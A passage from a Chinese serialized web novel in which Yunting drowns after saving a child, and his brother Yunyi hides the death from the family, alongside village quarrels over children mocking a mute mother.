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妇人无奈地摇了摇头,回答道:“大夫都说了,这种是心病,还需要用‘心药’来医,可那家人早就不知道带着孩子跑到哪里去了,说不定他们就是为了躲开我们,觉得我女儿现在成了一个累赘呢!” “昨天一早,起床不见了美月的身影,我以为她是又回去那家去了,我们去找了也没找着。所以我才想着,她可能还会跑回来的!所以才想着出来找找看,有没有她的身影!” 杏花见状,也不好再多言,毕竟这只是别人的家事,于是开口说道:“既然人已经给你们送回来了,那我们也就该回家去了。” 妇人赶忙问道:“你们是从哪里找到我女儿的呀?改日我们一定要登门拜谢才是!” 杏花连忙摆手,语气坚决地说:“不用了,不必这么麻烦,我们这就走了。”说罢,她拉起传家的手,脚步匆匆地转身离去。 那妇人站在原地,望着杏花和传家渐行渐远的背影,不禁感叹道:“真是遇见好人了啊!不仅把你妹妹送回来,还将她收拾得如此干净整洁。” 传家心中有些不解,于是转头问杏花:“奶奶,为什么人家说要去感谢您,您却要这么着急地要走呢?” 杏花停下脚步,一脸严肃地对传家说:“我不是跟你说过了吗?今天的事情一个字都不准往外说!要是你说出去了,那可就麻烦大了!记住,绝对不能透露半个字!” 传家听了后,答道:“哦,我知道了,我不会说出去的。” 美月大哥看向他的母亲,说道:“娘,妹妹这样整天疯疯癫癫的,谁能从早到晚看着她呢?万一她又跑出去了,那可怎么办才好?” 美月母亲安慰道:“别担心,儿子。我已经找好了合适的人家了,最近这几天一定要看紧她,绝对不能让她再乱跑了。再过几天,等把她嫁过去田家沟,我们就都可以省心了。” 美月的大哥听完叹了口气也没说什么!原来,这位母亲在发现女儿已经变得有些痴傻之后,竟然没有丝毫想要带她去看大夫的念头!相反,她似乎毫不关心女儿的病情,而是直接决定让媒婆给女儿介绍一个对象。 这样的决定无疑是草率且不负责任的。一个母亲怎么能如此轻易地放弃对女儿的治疗和关爱呢?这种行为实在让人难以理解。 而更让人惋惜的是,美月最终被介绍给了田家沟那个一贫如洗、35岁的光棍儿汉子。这样的婚姻显然是那个时代包办婚姻的一种常态! 美月母亲继续说道:“这门亲事虽然不能像正常女子那样收到很多彩礼,但没有多的也有少的不是嘛!这样一来,我们既不用自己亲自去照顾美月,又能得到一些实惠,我看也挺好的,我们总不能一辈子养着她!” 在清冷的月光下,那妇人紧紧地拉着她那傻闺女的手,仿佛生怕一松手,闺女就会再次失踪一般。 月光如水,洒在他们身上,拉出长长的影子。那妇人的步伐显得有些沉重,而她身旁的傻闺女,却似乎对周围的一切都漠不关心,只是傻笑着跟着妇人的脚步,一步一步地向前走着。 再说云亭和云义这边,已经在新县待了一个多月了,这段时间里,他们每天都从早干到晚,不曾注意过一天。 这天晚上,两人躺在床上,云亭突然对云义说:“云义,过几天发了工钱,我打算回家一趟。你嫂子毕竟怀着身子,我怕她不放心,想回去看看家里,再回来继续干上几个月。” 云义理解大哥的担忧,他点点头说:“大哥,你说得对,回去看看也好,顺便也能让大嫂和娘都能安心一些。” 云亭接着说:“要不你也一起回去看看吧,免得娘在家里也一直惦记着你。” 云义想了想,觉得哥哥说得有道理,于是也点头应道:“好,那我跟你一块儿回去。” 第二天清晨,太阳还没升起,云亭和云义就早早地起了床。他们洗漱完毕后,便精神抖擞地开始了一天的工作。一上午的时间,两人都干得热火朝天,没有丝毫的懈怠。 时间过得很快,转眼间就到了中午。大伙儿们都停下手中的活计,准备去洗洗手,然后吃午饭。 云义看着忙碌的云亭,主动说道:“哥,你先去洗手吧,我去帮你端一份儿饭菜出来。” 云义匆匆忙忙地洗了把脸后,便快步走进屋里,不一会儿就端出两碗热气腾腾的面条来,筷子上还插着两个大大的馒头。 然而,当他满心欢喜地端着这两碗面出来时,却惊讶地发现大哥竟然不见了踪影! 云义心中一紧,连忙高声呼喊着大哥的名字,同时焦急地向周围的人询问是否看到了他大哥。 就在这时,他突然听到不远处传来一阵喧闹声,似乎有很多人**在一起。 第109章 英年早逝 云义心头一沉,一种不祥的预感涌上心头,他急忙三步并作两步地跑过去,想看个究竟。 云义一路狂奔,终于跑到了人群旁边。他气喘吁吁地站定,定睛一看,眼前的景象让他大吃一惊。 只见那条宽阔的大河里,有一个小小的身影正随着湍急的水流迅速地向河中央漂去。那孩子的身体在水中起伏不定,仿佛随时都可能被淹没。 而在河边的道路上,一位母亲满脸惊恐地哭喊着,她的声音在风中颤抖,充满了绝望和无助。显然,那个孩子就是她的儿子,她的心头肉。 云义的目光紧盯着那个孩子,心中焦急万分。这时候,他突然发现大哥不知何时已经跳入了河中,正奋力地朝着那孩子游去! 大哥的身影在水中迅速穿梭,每一次划水都显得那么有力,大哥现在的位置也是离那个孩子最近的人 云义的眼睛猛地睁大了,他简直不敢相信自己的眼睛。大哥什么时候下水的他都不知道!而且,他还注意到,除了大哥之外,还有姚光宇和另外两个熟悉水性的人也在河里,他们正一同努力营救那个被水冲到河中央的孩子。 云义的心中涌起一股敬佩之情,他为大哥和其他几个人的勇敢行为感到自豪。 然而,他并没有犹豫,而是迅速做出了决定。他把手中的饭碗往旁边一放,自己也径直跳进了河里! 眼看云亭迅速地在水中游过去,伸出手紧紧地抓住了水中那个孩子的衣领。 孩子在水中拼命挣扎着,但云亭稳稳地将孩子从水中提了起来,然后毫不犹豫地将孩子交给了游到了身边的另一个人。 那个人显然也是早有准备,他迅速接过孩子,又迅速朝着岸边游过去! 就在众人都以为云亭已经成功救起孩子,一切都顺利结束的时候,意外却突然发生了。云亭突然感到腿部一阵剧痛,腿抽筋了…… 还没等他来得及思考这到底是怎么回事,他就被一股强大的水推动,整个人像断了线的风筝一样,随着湍急的河水急速向下游飘去。 站在岸边的人们目睹了这一幕,顿时都惊呆了。他们完全没有想到,事情竟然会在一瞬间发生如此巨大的变化。 云义是最先反应过来的人,他一眼就看出云亭遇到了危险。他毫不犹豫地拼命朝着云亭被冲走的方向游去。 然而,姚光宇却在这个时候拉住了云义。他深知云义这样做非常危险,因为下游的水流更加湍急,而且云亭距离他们现在所在的位置已经很远了。 “云义,你快上来!我们去下游那边找他!”姚光宇焦急地喊道,“再说下游那里也有干活的人,说不定等下会有人看到他并把他拉上岸呢!你现在这样游过去,不仅救不了他,反而还会把自己也搭进去!” 云义听了光宇的话,如遭雷击般呆立当场,过了好一会儿才回过神来,他心急如焚,飞快地朝着那下游的方向跑去。 光宇和其他几人见状,连忙跟了上去,他们一路沿着河岸寻找,不放过任何一个可能的地方。然而,尽管他们已经找了很久,却始终没有看到云亭的身影。 时间一分一秒地过去,太阳渐渐西沉,傍晚的云霞如同一幅绚丽多彩的画卷,在天空中徐徐展开。色彩斑斓的云霞如同燃烧的火焰,给整个天空带来了一种热烈而壮观的氛围。 众人的心情也越来越沉重,他们不知道云亭到底去了哪里,是否还活着。 就在大家几乎要绝望的时候,突然,云义在下游不远处发现了一个熟悉的身影。他心中一紧,急忙跑过去一看,果然是云亭! 可是,当他看清云亭的状况时,却如坠冰窖——云亭静静地躺在地上,双眼紧闭,面色苍白如纸,早已没有了呼吸。任谁也想不到,云亭竟然如此年轻便撒手人寰,年仅三十五岁而已!他的离去,无疑给身边的人带来了巨大的悲痛和失落。 云义的身体猛地一颤,双腿一软,扑通一声跪倒在地。他的泪水像决堤的洪水一般涌出,他颤抖着伸出手,轻轻抚摸着云亭的脸庞,痛哭道:“大哥,你怎么能这样呢?你怎么什么都不说一声就这样走了呢?嫂子和孩子们还在家里等着你呢……你不是说好要回去看他们的吗?你可是连最后那顿饱饭都还没吃到嘴里去啊……” 众人围拢过来,看着云义悲痛欲绝的样子,都不禁黯然神伤。他们纷纷出言安慰道:“云义,事已至此,你就节哀顺变吧!你大哥他在天之灵也不希望看到你如此伤心啊!” 姚光宇看着云义,心中有些无奈。事情已经发展到这个地步,确实是所有人都不想看到的,着实让人感到意外。 姚光宇蹲下来说道:“云义兄弟,事情已经发生了,也没办法挽回了,人死不能复生,你可要想开些啊!” 姚光宇皱着眉头接着说道:“不如我去向乡亲们借一辆牛车来,这样我们就可以用牛车将你的大哥运回家了。我和你一起同行,共同护送你的大哥回家。也可以尽快让他入土为安,也好让他早日安息。”说着就要起身! 这时候,云义却突然紧紧地抓住了姚光宇的胳膊,脸上露出痛苦的神色。 他摇了摇头,说道:“光宇大哥,我现在还不能把我哥带回家去。我嫂子还怀着孕呢,她要是知道了这件事,恐怕会承受不住打击的。” 姚光宇叹了口气,他也知道云义的嫂子现在的情况很特殊。如果让她知道云亭的死讯,后果可能真的会不堪设想。 “那这可怎么办呢?”姚光宇喃喃自语道。 云义想了想,咬了咬牙,说道:“光宇大哥,麻烦你帮我个忙。给我哥找个地方,先把他葬在这边吧。我怕我娘和嫂子知道了这件事,会受不了。能瞒多久是多久吧!” 姚光宇看着云义,心中一阵酸楚。他点了点头,表示理解云义的决定。虽然这样做有些不妥,但目前似乎也没有更好的办法了。 此时,秀兰正安静地坐在床头,专心致志地在给孩子们缝补着衣服。她手中的针线来回熟练地穿梭着。 然而,就在她全神贯注的时候,突然手上传来一阵刺痛,原来是被针扎了一下。秀兰不禁轻呼一声,连忙放下手中的针线,查看被扎的地方。 与此同时,杏花正在院子里忙碌着,突然心头一紧,一种莫名的不安涌上心头。 她停下手中的活计,心里总觉得好像发生了什么事情。 犹豫片刻后,杏花决定进屋去看看秀兰。她推开门,走进屋内,一眼就看到秀兰还坐在床头缝缝补补着什么! “哎呀,天色都昏暗了,你还在这里缝缝补补的,多累眼睛啊!”杏花关切地说道:“以后可别这样了,免得像我一样,年纪大了,这眼神都差劲得很!” 秀兰笑了笑,安慰道:“没事的,就这么两针就好了。” 杏花看着秀兰,似乎还想说些什么,但话到嘴边又咽了回去。她心里有些担忧,但又不知道该如何表达。 就在这时,院子里突然传来了传诚的哭声,那哭声在宁静的院子里显得格外突兀。杏花和秀兰听到后,心中一紧,连忙放下手中的活计,急匆匆地跑出去查看情况。 杏花三步并作两步,第一个冲到了院子里,看到传诚正站在那里,一边抹着眼泪,一边抽抽搭搭地哭泣着。她心疼地走上前去,问道:“哎呦,我的乖孙儿,这是咋了?男娃子咋还哭哭啼啼的呢?” 传诚抬起头,泪眼朦胧地看着秀兰,委屈地说道:“娘,为什么我这头发长得这么少?他们都笑话我……呜呜……”说着,他又忍不住哭了起来。 杏花一听,顿时火冒三丈,她瞪大了眼睛,怒气冲冲地问道:“谁啊?咋这么嘴欠!奶奶带你找他们要说法去!” 传诚用手擦了擦眼泪,哽咽着说道:“就是那个哑巴家的李承月!她骂我像个秃子!” 杏花一听,更是气不打一处来,她咬牙切齿地骂道:“真是个恶毒的丫头片子!走,咱们找他们去!” 一旁的秀兰看到这一幕,心中不禁一紧,她连忙快步上前,拉住杏花的衣袖,劝阻道:“娘,您别生气呀!这不过就是小孩子随口说的一句话而已,何必这么较真呢?咱们大人何必跟小孩子一般见识呢?这样未免也太小题大做了吧!” 然而,杏花却一脸严肃地反驳道:“你懂什么!这可不是小事!现在他们敢随随便便地说你两句,那以后说不定还会变本加厉,甚至动手**呢!我绝对不能让我的孙子受这样的委屈!” 说完,杏花二话不说,紧紧拉住传诚的手,转身就往门外走去,看样子是要去找李安硕家理论一番。 秀兰见状,心中愈发焦急,她赶紧高声喊道:“传家,快跟上你奶奶!你奶奶脾气急,万一她跟别人吵起来,你可得帮我劝住她呀!” 传家听到母亲的呼喊,连忙应了一声,然后像离弦的箭一样,飞快地向外追去,紧紧跟在杏花和传诚的身后。 杏花牵着传诚气冲冲地走到李安硕家门口,抬手用力地敲了敲门。 "砰砰砰!" 随着敲门声响起,李安硕很快打开了门。 “杏花婶子,您这是?”李安硕看着一脸怒容的杏花,有些诧异。 杏花瞪着李安硕,没好气地说道:“叫你家丫头出来!没事儿欺负我们家传诚干什么?” 李安硕闻言,转头看向屋内,对着正在玩的女儿喊道:“承月,出来一下。” 李承月听到父亲的呼喊,又抬头看到了院子里的传诚和他的奶奶。不情不愿地起身,慢吞吞地走向院子。 “爹,什么事啊?”李承月一脸不耐烦地问。 李安硕指了指传诚,对李承月说:“你说,是不是你欺负传诚了,有没有这回事儿?” 李承月撅起小嘴,白了一眼站在一旁的传诚,冷哼一声:“哼,我没揍他就不错了!” 杏花一听,顿时火冒三丈,指着李承月道:“你看看,你看看,你家这闺女也太嚣张了吧!到底是有个哑巴娘,连个孩子都没办法教好!” 李安硕的脸色也变得有些难看,他瞪了李承月一眼,厉声道:“李承月,你怎么说话的?快过来,给传诚道歉!” 郭美娟见状,急忙拉住李承月的手,比划着让她向对方道个歉。然而,李承月却突然用力一推,将郭美娟推开了。 “哼,我才不要道歉呢!明明就是他们几个先骂我的!”李承月气鼓鼓地说道,小脸涨得通红。 就在这时,几个大人都惊愕地看着眼前这两个孩子,一时间有些不知所措。杏花转头看向传诚,厉声问道:“你说,你有没有骂人家?” 传诚被杏花这么一问,吓得脸色苍白,他连忙摇头,矢口否认道:“我没有!我才没有骂她!” 李承月见传诚不肯承认,顿时觉得委屈极了,“哇”的一声哭了出来。她一边哭,一边指着传诚说道:“他骗人,就是他们先说我的!他们说我娘是哑巴,还说我长大以后也会变成哑巴!所以我才骂他的!” 杏花听了李承月的哭诉,不禁感到一丝尴尬。她瞪大眼睛看着传诚,再次追问道:“你真的说过这些话?” 传诚低着头,嘴里不停地嘟囔着:“又不是我一个人说的,学堂里面的孩子都在说……”声音虽然不大,但还是被传家听到了。 传家一听,立刻明白了过来,他脸色一沉,二话不说,伸手揪住了传诚的耳朵,大声说道:“走,跟我回家,让娘好好收拾你一顿!” 杏花见状,急忙从后面追了上来,一脸心疼地喊道:“传家,你轻着点啊……传诚可还小着呢!” 然而,传家根本不理会杏花的劝阻,他拽着传诚,头也不回地往家里走去,背后传着传诚的叫声:“大哥……你轻点儿……哎呦……疼……奶奶救我……” 杏花无奈,看 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就在这时,站在一旁的李承月听到了哥哥说的话,她的火气“噌”地一下就冒了起来。只见她狠狠地瞪了李承文一眼,满脸都是不屑和嘲讽,嘴里还冷哼了一声:“哼,胆小鬼!你就是个彻头彻尾的胆小鬼!” 李承文的脸色在瞬间变得十分难看,他的眼睛瞪得大大的,死死地盯着妹妹,满脸怒容地反驳道:“你说谁是胆小鬼呢?你就不是胆小鬼了?那你刚才哭什么呢?娘不会说话本来就是事实啊!别人说几句又能怎样呢?难道我还能去把别人的嘴给撕烂不成!” 李承月被哥哥的这番话气得小脸涨得通红,像一只愤怒的小狮子一样,尖叫着对李承文喊道:“撕烂他们的嘴怎么了?我就撕!” 看着兄妹俩的争吵愈演愈烈,眼看着就要失控,李安硕连忙高声喊道:“够了!你们俩都给我住口!难道你们没看到你娘都已经伤心了吗?” 这一声怒吼,犹如一道晴天霹雳,瞬间将兄妹俩的争吵声淹没。两个孩子像是被施了定身咒一般,突然之间就像泄了气的皮球一样,完全失去了刚才的气势,变得沉默不语。他们不约而同地低下了头,甚至连看一眼父亲的勇气都没有,仿佛自己犯了什么天大的错误。 郭美娟本来也想蹲下身去安慰一下承月,毕竟她是个女孩子,还是家里最小的孩子。 然而,让她万万没有想到的是,承月竟然在这个时候突然抬起头,满脸泪痕地冲着她喊出了一句:“我讨厌你……都怪你……” 然后,承月哭着冲进了屋子里,只留下郭美娟一个人愣在原地,不知所措。 郭美娟的心如刀绞,她怎么也想不到承月会说出这样的话来。她不禁开始自责,觉得这一切都是因为自己不能说话,才会让孩子们在外面被别人看不起,甚至心生厌恶。 她一边默默地擦着眼泪,一边在心里责怪着自己! 李安硕看到郭美娟如此伤心,连忙走过去安慰道:“你别太难过,小孩子嘛,都是这样的。等会儿我们做顿好吃的,这些不开心的事情很快就会被忘掉的。” 李安硕安慰好郭美娟后,缓缓走进屋内。他一眼就看到承月正趴在桌边,脸上写满了不开心。 “承月,你怎么能说讨厌你娘呢?”李安硕轻声问道,语气中透露出对孩子的关切。 承月抬起头,眼神有些倔强地看着李安硕,突然冒出一句:“爹,为什么你要娶一个不会说话的娘?” 这句话像一把利剑,直直地刺进李安硕的心里,他的脸色瞬间变得有些难看。 “李承月,你怎么能说出这样的话呢?刚才那句话,你娘本来就已经很伤心了,以后不准再说这样伤人心的话!”李安硕的声音略微提高了一些,带着些许责备。 李承月却并没有被父亲的语气吓倒,她继续说道:“我说的都是实话!就是因为娘不会说话,别的孩子才会这么嘲笑我们。哥哥平时总是忍气吞声,我可不想再这样被人欺负了!” 李安硕看着承月那委屈又气愤的样子,心中一阵酸楚。他知道孩子在外面受了委屈,可他没想到承月会把这一切都归咎到郭美娟身上。 他满脸疼惜地将李承月紧紧地搂进怀中,轻声细语地安慰道:“别人的嘴巴长在他们自己身上,他们爱怎么说就怎么说,我们无法左右别人。但是你怎么可以因为别人的闲言碎语就去伤害你娘呢?你娘她并不是天生就不会说话的,她小时候其实和你一样,都能够正常地与人交流。” 李承月听了这番话,心中不禁涌起一股疑惑,她抬起头,目光直直地望向李安硕,追问道:“娘以前真的会说话吗?” 李安硕肯定地点了点头,李承月的眼睛里闪过一丝惊讶,继续问道:“那娘为什么现在不说话了呢?” 李安硕沉默了片刻,似乎在思考该如何向李承月解释这个问题。过了一会儿,他缓缓地说道:“天底下没有十全十美的人,每个人都有自己的不足之处和闪光点。我们不能仅仅盯着一个人的缺点看,而忽略了他的优点和长处。” 李承月若有所思地听着,虽然她还不能完全理解李安硕的话,但她隐约感觉到其中蕴含着一些深刻的道理。她默默地点了点头,心中不知道在想什么事情。 李安硕见李承月似乎有所领悟,便接着说道:“等会儿你去给你娘道个歉,以后可别再说这样的话惹你娘不高兴啦!你再想想咱村里的李豆宝,你们不是比他要幸福多了!” 李承月眨巴着大眼睛,满脸好奇地看着李安硕,追问道:“豆宝他为什么没有娘呀?” 李安硕被李承月的问题问得有些不知所措,他犹豫了一下,不知道该如何回答这个问题。 李承月见李安硕没有说话,便自顾自地感叹道:“豆宝哥哥也太可怜了……连娘都没有。”她的语气充满了同情和惋惜!说着跑出去抱住了郭美娟:“娘,你不要生承月的气!” 第110章 归家 传家像拎小鸡一样,揪着传诚的耳朵,急匆匆地往家里走去。 刚一进门,就听见秀兰的声音传来:“传家,这是咋回事儿啊?” 传诚见状,急忙躲到秀兰身后,指着传家告状道:“娘,大哥他欺负我!” 这时,杏花也气喘吁吁地跑了回来,嘴里还念叨着:“你们两个小祖宗跑慢些,等着我啊!” 传家瞪了传诚一眼,没好气地说:“你自己说,你都干了什么好事儿!” 传诚低着头,嘟囔着:“我没有……” “还敢嘴硬!”传家怒不可遏,“娘,传诚骂人家承月是大哑巴生了小哑巴!所以承月才骂他的!” 秀兰一听,顿时火冒三丈,她抬手就是一巴掌,狠狠地甩在了传诚的脸上,怒斥道:“谁教你说这么难听的话的!” 传诚哇的一声哭起来,杏花:“哎呦,传诚还小呢嘛,还不懂事儿,你打他干啥啊?” 秀兰一脸怒容地说道:“不打疼他,他根本就记不住!三个孩子里就数他最调皮捣蛋了!老大老二向来都很懂事,从不惹是生非,学习也一直都很刻苦努力,可就他,整天就只知道惦记着出去玩!” 杏花见状,连忙劝慰道:“哎呀,好了好了,你别气坏了身子。我相信传诚他以后肯定不会再这样了!”说着,杏花便推了推站在一旁的传诚,催促道:“快,快去跟你娘认个错!” 然而,传诚却一脸倔强地站在原地,梗着脖子反驳道:“那又不是我一个人的错,明明是别人先骂的,我不过就是跟着一起笑了而已!而且她也骂我了啊,凭什么只怪我一个人!” 秀兰见状,更加气恼了,她瞪着传诚,厉声道:“那你为什么要跟着别人一起去取笑人家?” 传诚毫不示弱地顶嘴道:“那他们也一样取笑我了啊!” 杏花皱起眉头,满脸忧虑地看着传诚,又看向秀兰,说道:“好了!我早就跟你们说过要带传诚去看看大夫,你们就是不听。你们看看这孩子的头发,他怎么后脑勺那片总不长头发呢?这可怎么办才好啊!” 秀兰不以为意地回答道:“哎呀,娘,您别太担心了。就是因为他脑后那一片不长头发,所以我才干脆把他头发给剃光了,这样就看不出来了,也免得难看嘛!” 传诚听了母亲的话,心里很不是滋味,他撅起小嘴,不满地嘟囔着:“可是我觉得现在光溜溜的更难看了!” 传家在一旁插嘴道:“嫌难看了你戴帽子不就行了嘛!” 传诚听着大哥这么说,心里有些不是滋味,于是又小声嘟囔了一句:“哼,就知道娘只喜欢大哥二哥,不喜欢我的!” 杏花听到传家的话,连忙解释道:“瞎说,你娘怎么可能不喜欢你呢!手心手背都是肉,你们都是**心头肉,你娘对你们每个孩子都是一样的疼爱!你们几个在我心里也都是一样的!” 传诚继续反驳道:“就是的,娘从来都不凶哥哥们!” 秀兰无奈地笑了笑,对传诚说:“娘怎么没凶过他们,昨天不还刚说过你二哥的吗?你明天记得去跟承月道个歉!” 传诚不情不愿地应了一声:“哦!” 杏花看着传诚,眼中满是疼惜,轻声说道:“等你爹回来了,就带你去找大夫瞧瞧,一直这样子确实也不太好。” 传诚却不以为意地摇了摇头,嘟囔道:“算了吧,这样也挺凉快的,看大夫还得喝药,我可不想喝那些苦苦的药!”大家听完都哈哈大笑起来,传诚撅着嘴:“讨厌你们,就会笑话我!” 再说云义这边,云亭的丧事就简简单单的办了,就葬在了这条大河边上!云义默默地跪在一旁,为云亭烧着纸钱。 他的声音有些哽咽:“大哥,你就先委屈一下,先在这里待一段时间。原谅我现在还不能带你回家去,等嫂子顺利生下孩子以后,我再慢慢告诉她们,然后再来带你回家。希望你不要怪我自作主张……” 姚光宇走过来,将一叠钱递给云义,说道:“云义兄弟,这是你大哥的工钱,人家给了双份的呢!还有,被救起的孩子那家人也给了一点,另外就是我们工友们的一点心意,你就先收着吧。” 云义站在姚光宇面前,表情有些凝重地说道:“光宇大哥,我大哥他最近总是念叨着要回家看看,所以我打算明天就启程回去一趟,回去看一眼再过来。” 姚光宇看着云义,心中也有些不是滋味,但还是安慰道:“回去看看也好,有些事情总是需要面对的。不过,你可得想开点啊,别太难过了。” 第二天,云义起了个大早,收拾好行李后,便独自一人来到了云亭的坟前。他静静地站在那里,凝视着,心中感慨万千。 过了一会儿,云义缓缓地跪了下来,在地上磕了一个头,然后轻声说道:“大哥,我这就替您回家一趟。您放心,以后我的工钱就是您的工钱,我会把我赚的所有钱都交给嫂子,让她和孩子们的生活过得好一些。希望您在天之灵能够保佑嫂子和孩子们平平安安……” 说完这些,云义站起身来,最后看了一眼云亭的坟墓,转身离去。他的步伐显得有些沉重,仿佛背负着整个世界的重量。 回到家中,云义推开门,传诚一见到他,立刻像一只欢快的小鸟一样飞扑过来,满脸笑容地喊道:“小叔回来了!小叔有没有给我带糖吃呀!” 云义看着传诚天真无邪的笑容,心中一阵酸楚。他勉强挤出一丝微笑,摇了摇头说道:“叔忘了,下次回来一定给你买糖吃。” 传家以为是父亲可能回来了,兴奋地一路小跑过来,满脸期待地问道:“我爹是不是也回来了?” 秀兰和杏花听到传家的呼喊声,赶忙从屋里跑了出来。杏花一眼就看到了云义,喜出望外地喊道:“云义回来了!这段时间在外,可把你累坏了吧!” 云义看着眼前熟悉的家人,心中五味杂陈,他强忍着泪水,不让它们滑落下来。 他深吸一口气,缓缓说道:“大哥……大哥他没回来,说……过段时间再回来!” 秀兰原本满心欢喜地期待着云亭一同归来,听到这个消息后,脸上的笑容瞬间消失,取而代之的是一丝落寞和失望。 云义见状,连忙从怀里掏出一个钱袋子,递给秀兰,说道:“大嫂,这是我大哥的工钱,是他托我带回来的!” 秀兰有些迟疑地伸出手,小心翼翼地接过了钱袋子,轻声问道:“你大哥他怎么没跟你一起回来?” 云义的脸上闪过一丝不易察觉的犹豫,但他很快就恢复了平静,回答道:“我大哥……他也想回来,只是,他干活太好了,老板不肯让他走!” 杏花在一旁听了,不禁感叹道:“哎呀,还有这样的老板,下次可得让你大哥跟你一起回来啊!” 云义默默地点了点头,头却深深地低了下去,根本不敢正视母亲和嫂子的眼睛。他的心中充满了愧疚和不安,因为他知道自己对她们撒了谎。 杏花似乎并没有察觉到云义的异样,她高兴地说:“云义回来了,我去杀只鸡,改善一下伙食!”说着,她转身准备去厨房。 云义见状,连忙拦住了母亲,急忙说道:“娘,不用了,鸡留着给嫂子以后补身子用,我们平时伙食好,鸡都吃腻了!” 杏花有些惊讶地看着云义,疑惑地问道:“伙食有那么好吗?连鸡都吃腻了?” 云义的心中充满了无尽的悲伤和痛苦,他回忆起曾经与大哥在一起的日子,那时的他无忧无虑,每天都过得非常开心。然而,如今大哥却突然离世,这对他来说无疑是一个沉重的打击。 如今家中还有年迈的母亲,怀孕在身的大嫂以及几个年幼的侄子,云义突然意识到,自己该长大了,他必须要承担起这个家庭的责任和重担。 杏花注意到了云义的异常,她关切地问道:“云义,你怎么看起来不太高兴呢?是不是有什么心事?” 云义努力控制着自己的情绪,但眼泪还是不由自主地流了下来。他哽咽着说:“没……没什么,就是第一次出远门,有点想家了。” 杏花心疼地看着云义,安慰道:“哎呀,都这么大个人了,怎么还像个孩子一样哭鼻子呢!等会儿你大嫂和你侄子们看见,可要笑话你啦!” 秀兰有些带气地说道:“这有什么好笑的?云义都知道想家了回家看看,云亭他就不知道想家吗?”她的语气中带着些许抱怨和不解。 杏花连忙安慰道:“哎呦,你说的哪里话啊,云亭他肯定也是惦记家里的,说不定过段时间就回来了,你可别多想啊!”杏花的话语中透露出对秀兰的关心和安慰。 然而,云义却一直低着头,根本不敢抬头去正视秀兰和杏花的眼睛。 他沉默了一会儿,然后轻声说道:“我先回屋了!”说完,他转身快步走进了屋子,留下秀兰和杏花面面相觑。 秀兰看着云义离去的背影,心中不禁涌起一股失落和疑惑。她觉得云义性格一向开朗,怎么这次回来变得沉默寡言的,总觉得像是哪里不对劲,她开始怀疑自己是否对云亭的思念太过强烈,产生了错觉。 也许云义真的只是因为想家了才这样,毕竟他也是第一次离开家时间这么长。 秀兰想起自己刚离开父母来到李家沟的时候,也是每天晚上都会流眼泪,那个时候,每天对家里的思念也是如潮水般涌上心头。那种感觉就像是心被撕裂了一样,让人痛苦。但随着时间的推移,她渐渐习惯了这里的生活,对家的思念也不再那么强烈了。 如今,十几年过去了,秀兰突然意识到,自己也已经很久没有见过父母了。他们的面容在她的记忆中变得模糊不清,都快忘了他们长什么样子了,甚至连弟弟现在长什么样子都不知道了。想到这里,秀兰的心中不由得一阵酸楚。 云义脚步沉重地走进屋子,仿佛整个世界都压在了他的身上。他缓缓地走到床边,像一个失去了所有力气的人一样,扑倒在床上,静静地躺着,任由泪水无声地流淌。 他不敢让自己哭出声来,生怕被外面的人听到。他紧紧地咬着嘴唇,努力抑制着内心的悲痛,但泪水却像决堤的洪水一样,怎么也止不住。 就在这时,一阵轻微的敲门声传来,秀兰敲着门问道:“云义,我能进来吗?” 云义像触电一样,猛地坐了起来,迅速用手擦去了眼泪,生怕嫂子秀兰会看出他的异样,然后起身去打开了门! 秀兰轻轻地走了进来。她手里拿着一双新做的布鞋,脸上洋溢着温柔的笑容。 “云义,不知道你大哥那双鞋穿破了没有,我刚做好了一双,你明天去了就把这鞋一起带过去吧。”秀兰的声音很轻柔,充满了关切。 云义看着嫂子手中的鞋子,心中一阵酸楚。他想起了大哥下葬时的情景,当时确实没有几件像样的衣物。他犹豫了一下,还是鼓起勇气对嫂子说:“嫂子,大哥家里有没有新衣服?我想带两套过去,那边……天气好像……比家里要冷些。” 秀兰一听,连忙点头说道:“哦,那边天气冷些啊?那你等等,我多找两套出来给你带去。”说着,她转身匆匆走出了房间。 云义坐在床边,默默地抚摸着那双布鞋,思绪渐渐飘远。他想起了大哥生前的点点滴滴,那些温暖的回忆如潮水般涌上心头。如果大哥还在,他们可以一起聊天、一起干活,那该有多好啊! 想着想着,云义的眼泪又不由自主地滑落了下来,一滴一滴地落在了那双布鞋上,仿佛那是他对大哥无尽的思念和眷恋。 秀兰进屋后又在木柜子里找了两套衣服,仔细地叠好,然后轻轻地拿过来,递 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杏花一听,顿时火冒三丈,她快步走到云义的房间门口,大声喊道:“臭小子,快点儿跟我出来!老娘辛辛苦苦做好的饭菜,你居然还嫌弃上了!” 云义无奈地从屋里走出来,他低垂着头。杏花瞪了他一眼,然后拽着他走到饭桌前,指着那锅蛋花汤说:“我说杀鸡你又说不想吃,所以我就做了一锅丝瓜蛋花汤,你平时不是最喜欢吃的吗?来,喝一碗!” 云义并不是因为没有食欲而不想吃东西,而是他的脑海里无时无刻不在思考着大哥的事情,这使得他完全没有心思去品尝食物。然而,他却不得不强颜欢笑,装作若无其事的样子,勉强地喝了一口汤。 坐在一旁的杏花注意到了云义的异样,她关切地夹起一些菜放到云义的碗里,语重心长地说:“云义啊,娘对你没有太多的要求,娘只希望你能够早日成家立业。你看看传家,都已经十来多岁了,而你这个当叔的都三十多了还是孤身一人,这样下去可怎么行呢?” 云义默默地喝了几口汤,然后淡淡地回应道:“娘,我有点困了,你们先吃吧,不用管我了。”说完,他便放下碗筷,站起身来,准备离开餐桌。 杏花见状,不禁有些无奈地叹了口气,抱怨道:“这孩子,每次一提到这个事儿,他就像脚底抹油一样跑得飞快,真不知道该拿他怎么办才好!” 一旁的秀兰也附和着说:“是啊,云义今天似乎心情不太好,也许等他心情稍微好一些的时候,再跟他谈论这些事情会比较合适吧。” 杏花却不以为然地嘟囔着:“他还不开心?我还更不开心呢!”她的语气中充满了不满和抱怨,似乎对云义的情绪毫不在意。 一旁的传家急忙说道:“奶奶,小叔今天好像真的很不开心,我看到他居然流眼泪了呢!”传家的话语中透露出对小叔的关心和担忧。 然而,杏花却对此并不在意,她轻描淡写地说:“他呀,从小就是个爱哭鬼!我还当他出去闯荡了几天能有点出息呢,没想到就这么想家?才出去多久啊就哭成这样了?你们可千万别学你小叔,这么大个人了还这么好哭!”杏花的话语中带着些许失望和不屑,显然对云义还带有一丝气恼。 传家听了奶奶的话,连忙点头应道:“我才不会呢,我长大了肯定不会离开娘和奶奶的!”他的语气坚定。 传诚小嘴巴撅着地对杏花说道:“奶奶,小叔这次回家来都没有给我带糖吃!” 杏花笑着回答道:“你这个小馋猫,整天就知道吃。你小叔没给你买的话,明天奶奶去给你买。” 